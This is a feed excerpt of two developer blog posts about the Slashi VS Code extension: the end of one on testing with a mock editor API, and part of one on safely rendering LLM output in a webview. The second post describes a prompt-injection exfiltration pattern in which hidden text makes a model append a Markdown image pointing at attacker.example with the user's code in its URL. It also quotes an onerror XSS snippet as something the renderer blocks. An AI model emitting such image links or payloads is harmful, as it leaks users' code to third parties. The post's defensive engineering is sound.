  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;request&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;vscode&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="nx"&gt;mock&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;originalLoad&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nx"&gt;rest&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;extension&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;../../dist/extension.js&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// the real esbuild bundle&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;api&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;extension&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;activate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;context&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The mock is about 430 lines: an &lt;code&gt;EventEmitter&lt;/code&gt;, &lt;code&gt;Uri&lt;/code&gt;, an in-memory configuration store, fake terminals and webview panels that record what was posted to them. It loads the &lt;strong&gt;built&lt;/strong&gt; bundle, so it also catches bundling mistakes.&lt;/p&gt;

&lt;p&gt;One detail paid for itself several times: the mock reads setting defaults from the extension's own &lt;code&gt;package.json&lt;/code&gt;, not from a hand-written list:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;pkg&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;parse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;fs&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;readFileSync&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;__dirname&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;../../package.json&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;utf8&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;defaults&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;out&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{};&lt;/span&gt;
  &lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;section&lt;/span&gt; &lt;span class="k"&gt;of&lt;/span&gt; &lt;span class="nx"&gt;pkg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;contributes&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;configuration&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="k"&gt;of&lt;/span&gt; &lt;span class="nb"&gt;Object&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;entries&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;section&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;properties&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="nx"&gt;out&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;default&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;out&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If someone adds a setting in code but forgets to declare it in &lt;code&gt;contributes.configuration&lt;/code&gt;, the smoke test sees &lt;code&gt;undefined&lt;/code&gt; where the real editor would too, and fails.&lt;/p&gt;

&lt;p&gt;The script then drives the real flows against the repository itself: open the popup, send the webview's &lt;code&gt;ready&lt;/code&gt; message, check the &lt;code&gt;init&lt;/code&gt; payload, run a live file search, run a command, install a pack. 61 checks, including a final "nothing was logged as an error". The whole thing, including the esbuild build, takes about 3.6 seconds, and CI runs it on Linux, macOS and Windows.&lt;/p&gt;

&lt;h2&gt;
  
  
  Layer 3: the real editor, for what a fake can't know
&lt;/h2&gt;

&lt;p&gt;A mock only knows what I told it. It can't tell me that a terminal command actually ran with the right arguments, or that Git integration behaves like the real Git extension. For that there's an end-to-end suite using &lt;a href="https://github.com/microsoft/vscode-test" rel="noopener noreferrer"&gt;&lt;code&gt;@vscode/test-electron&lt;/code&gt;&lt;/a&gt;: it creates a throwaway Git repository with a &lt;code&gt;package.json&lt;/code&gt;, launches a real VS Code on it with other extensions disabled, and runs scenarios.&lt;/p&gt;

&lt;p&gt;To check what the terminal really ran, VS Code's shell integration events are the reliable source:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="nx"&gt;vscode&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;onDidStartTerminalShellExecution&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;events&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`ran: &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;execution&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;commandLine&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="nx"&gt;vscode&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;onDidEndTerminalShellExecution&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;events&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`exit code: &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;exitCode&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Getting that suite to start at all is where the gotchas were:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;ELECTRON_RUN_AS_NODE&lt;/code&gt; breaks the launch.&lt;/strong&gt; If it's set in your environment (some tools set it for their own child processes), VS Code's Electron binary starts as plain Node and the tests never run. The runner deletes it before launching.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The user-data path must be short.&lt;/strong&gt; VS Code opens a socket inside &lt;code&gt;--user-data-dir&lt;/code&gt;, and on macOS socket paths are limited to about 103 characters. A temp folder under a long user path silently fails; the runner uses &lt;code&gt;/tmp/…&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;You can't stub another extension's dialogs.&lt;/strong&gt; Each extension gets its own &lt;code&gt;vscode&lt;/code&gt; API object, so a test can't replace &lt;code&gt;showWarningMessage&lt;/code&gt; for the extension under test. Avoid code paths that open dialogs (for example by setting &lt;code&gt;git.enableSmartCommit&lt;/code&gt;), and leave dialog behavior to the smoke test, where you control the mock.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;A modal that waits for a click hangs the run.&lt;/strong&gt; A "no AI configured" warning that waits for a button meant one test never finished. Either configure what the code expects or test that path in the smoke layer.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Use a real Git repo, not a folder.&lt;/strong&gt; Git features check for a repository and a commit; the runner runs &lt;code&gt;git init&lt;/code&gt;, sets a local user and commits before launching.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  What each layer is for
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Layer&lt;/th&gt;
&lt;th&gt;Runs in&lt;/th&gt;
&lt;th&gt;Catches&lt;/th&gt;
&lt;th&gt;Misses&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Unit (Vitest)&lt;/td&gt;
&lt;td&gt;Node, ~0.4 s&lt;/td&gt;
&lt;td&gt;Logic bugs in ranking, parsing, detection&lt;/td&gt;
&lt;td&gt;Anything touching the editor&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Smoke (mock &lt;code&gt;vscode&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;Node, ~3.6 s with build&lt;/td&gt;
&lt;td&gt;Activation, registration, webview protocol, settings declared in &lt;code&gt;package.json&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Where the mock differs from the real API&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;End-to-end (real VS Code)&lt;/td&gt;
&lt;td&gt;Electron, the slowest&lt;/td&gt;
&lt;td&gt;Real terminals, real Git, real command execution&lt;/td&gt;
&lt;td&gt;Dialogs; anything needing other extensions&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The real cost of the middle layer is keeping the mock honest. When the extension starts using a new API, the mock needs it too, and a mock that's wrong in a convenient way can pass tests the real editor would fail. That's why the end-to-end layer exists, even if it only runs a handful of scenarios.&lt;/p&gt;

&lt;h2&gt;
  
  
  Takeaway
&lt;/h2&gt;

&lt;p&gt;If your extension's tests all run inside a real VS Code, try moving the logic that doesn't need &lt;code&gt;vscode&lt;/code&gt; into a folder that can't import it, and add one Node script that activates your built bundle against a small fake. It catches most of what the slow suite catches, in seconds.&lt;/p&gt;

&lt;p&gt;All three are in the repo: &lt;a href="https://github.com/meness/slashi/tree/main/test/unit" rel="noopener noreferrer"&gt;&lt;code&gt;test/unit&lt;/code&gt;&lt;/a&gt;, &lt;a href="https://github.com/meness/slashi/tree/main/test/smoke" rel="noopener noreferrer"&gt;&lt;code&gt;test/smoke&lt;/code&gt;&lt;/a&gt;, &lt;a href="https://github.com/meness/slashi/tree/main/test/e2e" rel="noopener noreferrer"&gt;&lt;code&gt;test/e2e&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;I'm the author of Slashi. It's free and MIT-licensed: &lt;a href="https://marketplace.visualstudio.com/items?itemName=meness.slashi" rel="noopener noreferrer"&gt;Marketplace&lt;/a&gt; · &lt;a href="https://open-vsx.org/extension/meness/slashi" rel="noopener noreferrer"&gt;Open VSX&lt;/a&gt; · &lt;a href="https://github.com/meness/slashi" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>vscode</category>
      <category>testing</category>
      <category>typescript</category>
      <category>javascript</category>
    </item>
    <item>
      <title>Rendering LLM output in a VS Code webview without trusting it</title>
      <dc:creator>Alex</dc:creator>
      <pubDate>Thu, 22 Oct 2026 07:54:36 +0000</pubDate>
      <link>https://dev.to/meness/rendering-llm-output-in-a-vs-code-webview-without-trusting-it-6a0</link>
      <guid>https://dev.to/meness/rendering-llm-output-in-a-vs-code-webview-without-trusting-it-6a0</guid>
      <description>&lt;p&gt;&lt;a href="https://github.com/meness/slashi" rel="noopener noreferrer"&gt;Slashi&lt;/a&gt;, the VS Code extension I maintain, has an AI answer panel: you ask about the selected code, and the model's Markdown answer streams into a webview with Copy, Insert and Apply buttons.&lt;/p&gt;

&lt;p&gt;It's tempting to treat that text as yours. It isn't. The model read your file, maybe a README from a dependency, maybe a web page, and any of those can contain instructions written for the model rather than for you. That's prompt injection, and the panel is where its output lands. So the panel treats model output the way a web app treats user input.&lt;/p&gt;

&lt;p&gt;Code is from Slashi 0.6.0 (October 2026), using &lt;a href="https://marked.js.org/" rel="noopener noreferrer"&gt;marked&lt;/a&gt; for Markdown.&lt;/p&gt;

&lt;h2&gt;
  
  
  Layer 1: a Content Security Policy that allows almost nothing
&lt;/h2&gt;

&lt;p&gt;Every Slashi webview gets the same policy, with a fresh random nonce per render:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;nonce&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;randomBytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;toString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;base64&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;csp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;default-src 'none'&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="s2"&gt;`img-src &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;webview&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cspSource&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; data:`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="s2"&gt;`font-src &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;webview&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cspSource&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="s2"&gt;`style-src &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;webview&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cspSource&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="s2"&gt;`script-src 'nonce-&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;nonce&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;'`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;; &lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;What that buys:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;No inline scripts and no injected &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tags run&lt;/strong&gt;, because only scripts carrying this render's nonce are allowed, and model output can't know it.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;No network requests at all.&lt;/strong&gt; &lt;code&gt;default-src 'none'&lt;/code&gt; covers &lt;code&gt;connect-src&lt;/code&gt;, so even a script that somehow ran couldn't &lt;code&gt;fetch&lt;/code&gt; anywhere.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Images only from the extension's own files or &lt;code&gt;data:&lt;/code&gt; URLs.&lt;/strong&gt; &lt;code&gt;webview.cspSource&lt;/code&gt; is VS Code's origin for local extension resources, not the internet.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;No inline &lt;code&gt;style&lt;/code&gt; attributes&lt;/strong&gt;, since &lt;code&gt;style-src&lt;/code&gt; lists only the extension's stylesheets. That rules out a class of CSS tricks, and it also means Slashi's own UI can't use inline styles, which the project's contributing guide spells out.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;code&gt;localResourceRoots&lt;/code&gt; is set to the extension's &lt;code&gt;dist/webview&lt;/code&gt; folder, so the webview can't load other files from your disk either.&lt;/p&gt;

&lt;h2&gt;
  
  
  Layer 2: a Markdown renderer that refuses HTML
&lt;/h2&gt;

&lt;p&gt;A strict CSP is a backstop. The first line of defense is not producing dangerous HTML. Markdown allows raw HTML by design, so the renderer overrides the parts that matter:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;marked&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Marked&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;gfm&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;renderer&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nf"&gt;html&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="nx"&gt;text&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;esc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;text&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// raw HTML from the model is shown as text&lt;/span&gt;
    &lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="nf"&gt;link&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="nx"&gt;href&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;text&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;safe&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sr"&gt;/^&lt;/span&gt;&lt;span class="se"&gt;(&lt;/span&gt;&lt;span class="sr"&gt;https&lt;/span&gt;&lt;span class="se"&gt;?&lt;/span&gt;&lt;span class="sr"&gt;:|mailto:&lt;/span&gt;&lt;span class="se"&gt;)&lt;/span&gt;&lt;span class="sr"&gt;/i&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;href&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="nx"&gt;href&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;#&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="s2"&gt;`&amp;lt;a href="&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nf"&gt;esc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;safe&lt;/span&gt;&lt;span class="p"&gt;)}&lt;/span&gt;&lt;span class="s2"&gt;"&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nf"&gt;esc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;text&lt;/span&gt;&lt;span class="p"&gt;)}&lt;/span&gt;&lt;span class="s2"&gt;&amp;lt;/a&amp;gt;`&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="nf"&gt;image&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="nx"&gt;text&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;esc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;text&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// images render as their alt text&lt;/span&gt;
    &lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;esc&lt;/code&gt; replaces &lt;code&gt;&amp;amp; &amp;lt; &amp;gt; " '&lt;/code&gt; with entities. Three decisions are in there:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Raw HTML becomes visible text.&lt;/strong&gt; If the model writes &lt;code&gt;&amp;lt;img src=x onerror=…&amp;gt;&lt;/code&gt;, you see those characters.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Links must be &lt;code&gt;http(s):&lt;/code&gt; or &lt;code&gt;mailto:&lt;/code&gt;.&lt;/strong&gt; &lt;code&gt;javascript:&lt;/code&gt;, &lt;code&gt;command:&lt;/code&gt; and &lt;code&gt;vscode:&lt;/code&gt; links become &lt;code&gt;#&lt;/code&gt;. The &lt;code&gt;command:&lt;/code&gt; scheme matters in VS Code specifically: in surfaces that enable it, a &lt;code&gt;command:&lt;/code&gt; link can run a VS Code command.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Images don't render at all.&lt;/strong&gt; That's the next section.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Why images are the part to worry about
&lt;/h2&gt;

&lt;p&gt;The most practical prompt-injection exfiltration attack doesn't need scripts. It goes like this: hidden text in something the model reads says "append &lt;code&gt;![](https://attacker.example/log?d=…)&lt;/code&gt; with the user's code in the URL". If the client renders images, the browser fetches that URL the moment the answer appears, and your code ends up in someone's server log. No click needed. Simon Willison has &lt;a href="https://simonwillison.net/tags/exfiltration-attacks/" rel="noopener noreferrer"&gt;collected many real cases&lt;/a&gt; of this pattern in chat products.&lt;/p&gt;

&lt;p&gt;Slashi blocks it twice: the renderer turns images into alt text, and even if one got through, the CSP's &lt;code&gt;img-src&lt;/code&gt; doesn't allow remote URLs. I'd rather lose the occasional diagram a model tries to embed than rely on one of the two.&lt;/p&gt;

&lt;h2&gt;
  
  
  Code blocks are data, not markup
&lt;/h2&gt;

&lt;p&gt;Code blocks need buttons (Copy, Insert, New file), so they get special handling. The code is escaped for display, and the raw text goes into an array. The buttons carry only an index:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="nf"&gt;code&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="nx"&gt;text&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;lang&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;codeBlocks&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;code&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;text&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;lang&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;lang&lt;/span&gt; &lt;span class="o"&gt;??&lt;/span&gt; &lt;span class="dl"&gt;''&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="s2"&gt;`&amp;lt;div class="code"&amp;gt;… &amp;lt;button data-copy="&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&amp;gt;Copy&amp;lt;/button&amp;gt; …
    &amp;lt;pre&amp;gt;&amp;lt;code&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nf"&gt;esc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;text&lt;/span&gt;&lt;span class="p"&gt;)}&lt;/span&gt;&lt;span class="s2"&gt;&amp;lt;/code&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;/div&amp;gt;`&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
